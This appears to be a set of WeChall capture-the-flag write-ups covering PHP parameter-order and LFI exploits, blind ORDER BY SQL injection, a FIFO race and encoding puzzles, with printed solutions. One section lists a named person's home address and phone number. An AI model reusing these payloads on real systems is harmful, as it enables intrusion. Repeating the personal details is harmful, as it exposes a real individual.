  • 直接访问 ?src=solution.php&mode=hl 会失败,因为 src 先被白名单检查改成 false
  • highlighter 读文件前只做路径字符清理:去掉 /\..,但不会重新检查 whitelist。
  • PHP 在脚本开始执行前已经把完整 query string 解析进 $_GET;后面的 foreach ($_GET as ...) 只是按参数插入顺序处理每个 key。

题目源码里甚至把方向提示写出来了:

1
2
# if you like a hint: There is a main logical error in this script,
# applies to all programming languages, not only php. H4\/3: |> |-| |_| |\|)

这里的点不是 PHP 语法 trick,而是 code-flow mistake:检查和使用的顺序错了。

src 的检查函数失败时,只是修改 $_GET['src'],没有 return / exit,也没有把验证后的文件名保存到一个独立变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function php0816SetSourceFile($filename)
{
$filename = (string) $filename;

static $whitelist = array(
'test.php',
'index.php',
'code.php',
);

# Sanitize by whitelist
if (!in_array($filename, $whitelist, true))
{
$_GET['src'] = false;
}
}

真正读取文件的位置在 highlighter 里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function php0816Highlighter()
{
global $highlights;

# SOMEONE SAID THIS WILL FIX IT, BUT PEOPLE CAN STILL SEE solution.php :(
$filename = str_replace(array('/', '\\', '..'), '', Common::getGet('src'));

if (false === ($text = @file_get_contents($filename)))
{
echo '<div>File not Found: '.htmlspecialchars($filename, ENT_QUOTES).'</div>';
return false;
}

$text = htmlspecialchars($text, ENT_QUOTES);
echo '<pre>'.$text.'</pre>';
}

对比两个请求就很清楚。

正常顺序会失败:

1
?src=solution.php&mode=hl

处理流程:

  1. src=solution.php 先被处理。
  2. solution.php 不在 whitelist 中,$_GET['src'] 被改成 false
  3. mode=hl 后处理,highlighter 再读 Common::getGet('src'),拿到的已经不是原始文件名。
  4. 页面返回 File not Found

mode 放到 src 前面:

1
?mode=hl&src=solution.php

流程就反过来了:

  1. PHP 已经把完整 query string 解析进 $_GET,所以 $_GET['src'] 此时已经存在,值是 solution.php
  2. foreach 第一个处理到 mode=hl,调用 php0816execute('hl')
  3. highlighter 立即执行 Common::getGet('src'),读到尚未被 whitelist 改写的原始值 solution.php
  4. file_get_contents('solution.php') 成功读取文件。
  5. 后面才轮到 src=solution.php 的 whitelist 检查,但文件已经被输出,已经太晚。

用 curl 验证坏顺序:

1
2
3
4
5
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/php0816/code.php?src=solution.php&mode=hl' \
| grep -o 'File not Found'
File not Found

再验证利用顺序:

1
2
3
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/php0816/code.php?mode=hl&src=solution.php'

返回的 <pre> 里能看到 solution.php

1
2
3
4
5
<?php
# The solution is 'AnotherCodeflowMistake';
?>
NOTHING MORE?
END OF FILE!

这类 bug 可以看作参数处理流程里的 TOCTOU:检查逻辑和使用逻辑都存在,但程序允许“使用”发生在“检查”之前。

修复方式不是再补一个字符串过滤,而是让“最终被使用的文件名”只能来自验证后的状态。例如:

  • 先统一解析全部参数,完成 whitelist 检查后再执行 mode 动作。
  • 不把安全状态写回 $_GET,而是使用独立的 $sourceFile 变量保存验证后的文件名。
  • php0816Highlighter() 内部对最终文件名重新做 whitelist 检查。
AnotherCodeflowMistake

Challenge

身份识别挑战。题面要求输入 gizmore(WeChall 创始人)的真实身份信息,格式为 Firstname,Lastname,Street,House,ZIP,City

提示:gizmore.org 域名和服务器归 gizmore 本人所有。

Solution

这并不是 cookie/session 伪造题,而是 People Research (OSINT) 挑战。

Step 1: 用户资料

访问 /profile/gizmore 可看到:

  • 名字:Christian
  • 城市:Peine
  • 手机:004917659598844

WeChall 用户资料不公开姓氏和完整地址,但手机号和城市是切入点。

Step 2: 域名交叉验证

gizmore 运营 ESL(Egmont Security Labs)平台。ESL 的 imprint 页面(es-land.net/core;impressum.html?_lang=en)包含法律要求的完整身份披露:

1
2
3
4
gizmore, a.k.a. Christian Busch
Am Bauhof 15
31224 Peine, Germany
Phone: +49 176 59598844

手机号 +49 176 59598844 与 WeChall 资料中的 004917659598844 完全一致,确认身份无误。

Step 3: 组合提交

将信息按给定顺序拼接提交:

Christian,Busch,Am Bauhof,15,31224,Peine

Challenge

PHP Local File Inclusion。源码中的漏洞:

1
2
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;

用户输入被拼到 pages/ 后面,末尾固定加 .html。目标是包含挑战目录中的 solution.php

Solution

经典路线是 directory traversal + null byte truncation。PHP 5.3.4 之前,字符串里的 null byte 会截断底层文件路径。

Payload:

1
/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

路径拼接过程:

1
pages/../../solution.php%00.html

底层打开文件时在 %00 处截断,实际路径等价于:

1
pages/../../solution.php

../../up/pages/ 回到 LFI challenge 根目录,从而包含 solution.php

如果 null byte 被过滤,旧 PHP 还可尝试 4096 字符路径截断:

1
?file=../../solution.php/././././...[padding to 4096]...

Safety Note

访问 solution.php 可能直接触发 WeChall 解题或改变账号状态。当前草稿记录的是已知 payload;执行 live 请求前需要确认,并在执行后用 /en/challswc_chall_solved_1 验证。

session-bound: exploit URL triggers solve, no fixed answer

Challenge

Py-Tong is a Warchall-backed Python exploitation challenge. The WeChall page exposes the Python source, but the real solution is printed only by the pytong wrapper binary on the Warchall SSH box, because the wrapper sets the effective group needed to read the solution file.

Source

Live source fetch from index.php?highlight=christmas shows the essential logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
SOLUTION = '/home/level/12_pytong/pytong_solution.php'

def main(filepath):
if any(ipattern in filepath for ipattern in ('proc', 'uptime', 'tmp', 'random', 'full', 'zero', 'null')):
raise ValueError('nononono: hacking is not allowed')

if not os.path.exists(filepath):
raise ValueError('sorry file "%s" does not exists' % filepath)

with open(filepath) as gizmore:
jjk = gizmore.read()

if not os.path.exists(filepath):
print('You are l33t')
return True
else:
with open(filepath) as spaceone:
kwisatz = spaceone.read()

if jjk != kwisatz:
print('You are a winner')
return True

raise ValueError('fail...')

If main() returns True, the wrapper reads and prints the solution file.

The wrapper binary (wrap.c) sets real UID/GID to effective UID/GID (setgid bit on the binary grants group level12 read access to the solution file):

1
2
3
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
execle(PYTHON, PYTHON, CHALLENGE, argv[1], (char *)0, (char *)0);

Solution

The page hints that a race condition works, but is not required. A FIFO (named pipe) is the clean route: it passes os.path.exists(), and each open(...).read() receives different content from a separate writer.

Key pitfall: paths containing tmp, proc, random, full, zero, or null are blocked — do not create the FIFO under /tmp/.

On the Warchall SSH host:

1
2
3
4
5
6
7
8
9
10
$ cd /home/level/12_pytong
$ mkfifo ~/pf
$ (echo aaa > ~/pf && echo bbb > ~/pf) &
$ ./pytong ~/pf
opening /home/user/<username>/pf
closed
You are a winner
<?php
return 'KnowYourFilesChiller';
?>

The first open().read() gets aaa, the second gets bbb, so jjk != kwisatz and the program enters the success branch.

KnowYourFilesChiller

Challenge

SQL injection in an ORDER BY clause. Recover Admin's 32-character uppercase MD5 hash from the users table and submit it as the solution.

Analysis

Live source fetch (index.php?highlight=christmas) confirms the vulnerable view code:

1
2
3
4
5
6
static $whitelist = array(1, 3, 4, 5);
if (!in_array($orderby, $whitelist)) {
return htmlDisplayError('Error 1010101: Not in whitelist.');
}
$orderby = $db->escape($orderby);
$query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";

The bug is the non-strict in_array(). PHP loosely compares strings to numbers, so a value like 3,(SELECT ...)-- passes the whitelist check (converts to integer 3), then reaches SQL as raw ORDER BY expression.

Exposed table schema:

1
2
3
4
5
6
7
8
CREATE TABLE IF NOT EXISTS users(
username VARCHAR(32) CHARACTER SET ascii COLLATE ascii_general_ci,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin,
apples INT(10) UNSIGNED DEFAULT 0,
bananas INT(10) UNSIGNED DEFAULT 0,
cherries INT(10) UNSIGNED DEFAULT 0,
PRIMARY KEY(username)
);

Solution

Attempt 1: Scalar subquery (fails)

The initial approach used a scalar subquery in ORDER BY to compare one character at a time:

1
2
3,(SELECT IF(SUBSTRING(`password`,N,1)=CHAR(X),0,1)
FROM users WHERE username=0x41646d696e)--

This does NOT work because MySQL evaluates scalar subqueries in ORDER BY as constants — the same value for all rows. Both SELECT 0 and SELECT 1 produce identical sort orders, so Admin's position never changes. Live diagnostic confirmed: both left Admin at position 12.

Attempt 2: Per-row conditional (works)

The key insight: column references and expressions in ORDER BY ARE evaluated per-row. The password column is directly accessible without a subquery:

1
3,IF(username=0x41646d696e AND ASCII(SUBSTRING(password,N,1))=X,0,1)--

How it works: - username=0x41646d696e (hex for "Admin") identifies Admin's row - ASCII(SUBSTRING(password,N,1))=X checks the N-th character - AND combines: only Admin's row with matching character gets IF=0 - All other rows get IF=1 - With ORDER BY 3, IF(...), Admin moves from position 13 → 10 when the condition is true

The -- comments out DESC LIMIT 10, returning all rows sorted by the injected expression.

Extraction

Binary search on hex character ASCII values (0-9: 48-57, A-F: 65-70) using >= comparisons, with equality verification per position. About 5 requests per character × 32 positions ≈ 160 requests total.

Result: 3C3CBEB0C8ADC66F2922C65E7784BE14

Why scalar subqueries fail in ORDER BY

In MySQL, ORDER BY evaluates expressions per row, but scalar subqueries are evaluated once and treated as constants. This is a common pitfall: (SELECT ...) in ORDER BY looks like it should work per-row, but the optimizer collapses it. Direct column references and non-subquery expressions (IF(condition, value1, value2)) are the correct path.

Useful observations

  • $db->escape() does NOT strip parentheses — function calls and subqueries work fine
  • in_array() non-strict check: 3,anything passes because PHP converts "3,anything" to integer 3
  • Hex encoding (0x41646d696e) bypasses any single-quote escaping in $db->escape()
  • Backticks around `password` are needed in subquery contexts (to avoid collision with MySQL's PASSWORD() function) but not in direct expressions like SUBSTRING(password,N,1)
  • Admin's default position is 9 (sorted by apples DESC) or 13 (sorted by apples ASC)
  • WeChall rate limits aggressively after ~80 rapid requests — use 1.0-1.2s delays
3C3CBEB0C8ADC66F2922C65E7784BE14

Challenge

Checksums 不是文件 MD5/SHA 题,而是 GAN(gizmore article number)校验位题。页面提供 gan.frm.htm,其中泄露了校验算法。

Solution

gan.frm.htm 中的核心逻辑:

1
2
3
4
5
6
$poly = [1, 5, 13, 31, 131, 131, 137, 7, 43, 1];
$sum = 1;
for ($i = 0; $i < 8; $i++) {
$sum = $sum * $poly[$i] + $digit[$i];
}
$check = $sum % 10;

前 8 位是数据位,第 9 位必须等于上面计算出的 check

以默认值 12345678 为例:

1
2
3
4
5
6
poly = [1, 5, 13, 31, 131, 131, 137, 7, 43, 1]
digits = [1,2,3,4,5,6,7,8]
s = 1
for i, d in enumerate(digits):
s = s * poly[i] + d
print(s % 10) # => 3

所以合法 GAN 是 123456783,页面格式化显示为:

123-456-783

Challenge

CGX#16: Big Endian 给出一个随机生成并绑定当前 session 的 bit stream,例如:

1
001100101100101001110010001000101110001000110010010000100110001010100010101100100010001010000010

Solution

Recon: bit stream 长 96 bit,96 % 8 == 0,显然是 8-bit bytes。但直接按普通二进制(MSB-first)解码得到乱码。题名 "Big Endian" 暗示不是普通的字节序问题——这里不是多字节整数的 byte order,而是每个字节内部的 bit 权重反着读:最左 bit 是 LSB,最右 bit 是 MSB。

以第一个字节 00110010 为例,按本题权重计算:

1
0×1 + 0×2 + 1×4 + 1×8 + 0×16 + 0×32 + 1×64 + 0×128 = 76 = 'L'

等价做法是先反转每个字节内部的 bit,再按普通二进制解释:

1
00110010 -> 01001100 -> 76 -> L

Python:

1
2
3
4
bits = '001100101100101001110010001000101110001000110010010000100110001010100010101100100010001010000010'
assert len(bits) % 8 == 0
answer = ''.join(chr(int(bits[i:i+8][::-1], 2)) for i in range(0, len(bits), 8))
print(answer)

本地验证示例输出为:

1
LSNDGLBFEMDA

只反转每个字节内部的 bit,不要反转字节顺序。实际提交前要解自己页面当前 session 的 bit stream。

session-bound: reverse bits per byte, answer varies

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE